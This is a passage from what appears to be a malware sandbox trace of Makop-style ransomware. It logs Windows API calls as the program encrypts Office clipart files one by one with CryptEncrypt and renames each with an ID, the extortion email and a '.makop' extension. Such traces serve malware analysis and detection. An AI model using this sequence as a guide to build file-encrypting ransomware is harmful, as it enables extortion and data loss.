nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3de0, lpOverlapped=0x0) returned 1 [0119.366] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.367] SetEndOfFile (hFile=0xf0) returned 1 [0119.374] GetProcessHeap () returned 0x48a0000 [0119.374] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.374] GetProcessHeap () returned 0x48a0000 [0119.374] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.374] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.376] CloseHandle (hObject=0xf0) returned 1 [0119.376] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0119.376] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0119.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.377] GetProcessHeap () returned 0x48a0000 [0119.377] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.377] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.377] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.377] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.381] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.381] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.381] GetProcessHeap () returned 0x48a0000 [0119.381] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.382] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.382] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.383] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.383] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.383] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a14, lpOverlapped=0x0) returned 1 [0119.385] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a20) returned 1 [0119.385] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.385] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a20, lpOverlapped=0x0) returned 1 [0119.386] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.386] SetEndOfFile (hFile=0xf0) returned 1 [0119.393] GetProcessHeap () returned 0x48a0000 [0119.393] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.393] GetProcessHeap () returned 0x48a0000 [0119.393] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.393] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.394] CloseHandle (hObject=0xf0) returned 1 [0119.394] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0119.394] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0119.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.395] GetProcessHeap () returned 0x48a0000 [0119.395] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.395] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.396] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.396] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.396] GetProcessHeap () returned 0x48a0000 [0119.396] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.396] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.396] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.401] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.401] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.401] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.401] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.401] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.401] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.402] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.402] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1580, lpOverlapped=0x0) returned 1 [0119.405] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1580, dwBufLen=0x1580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1580) returned 1 [0119.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1580, lpOverlapped=0x0) returned 1 [0119.405] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.406] SetEndOfFile (hFile=0xf0) returned 1 [0119.413] GetProcessHeap () returned 0x48a0000 [0119.413] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.413] GetProcessHeap () returned 0x48a0000 [0119.413] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.413] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.415] CloseHandle (hObject=0xf0) returned 1 [0119.416] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0119.416] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned 63 [0119.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.418] GetProcessHeap () returned 0x48a0000 [0119.418] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.418] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.418] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.418] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.418] GetProcessHeap () returned 0x48a0000 [0119.418] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.418] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.418] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.418] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.423] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.423] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.423] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.423] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.423] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.423] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.424] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18b0, lpOverlapped=0x0) returned 1 [0119.425] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18b0) returned 1 [0119.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18b0, lpOverlapped=0x0) returned 1 [0119.426] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.426] SetEndOfFile (hFile=0xf0) returned 1 [0119.433] GetProcessHeap () returned 0x48a0000 [0119.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.433] GetProcessHeap () returned 0x48a0000 [0119.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.433] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.434] CloseHandle (hObject=0xf0) returned 1 [0119.435] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0119.435] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0119.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.436] GetProcessHeap () returned 0x48a0000 [0119.436] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.436] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.436] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.436] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.436] GetProcessHeap () returned 0x48a0000 [0119.436] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.436] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.436] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.436] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.441] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.441] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.442] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.442] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x10e0, lpOverlapped=0x0) returned 1 [0119.443] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10e0, dwBufLen=0x10e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10e0) returned 1 [0119.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.444] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 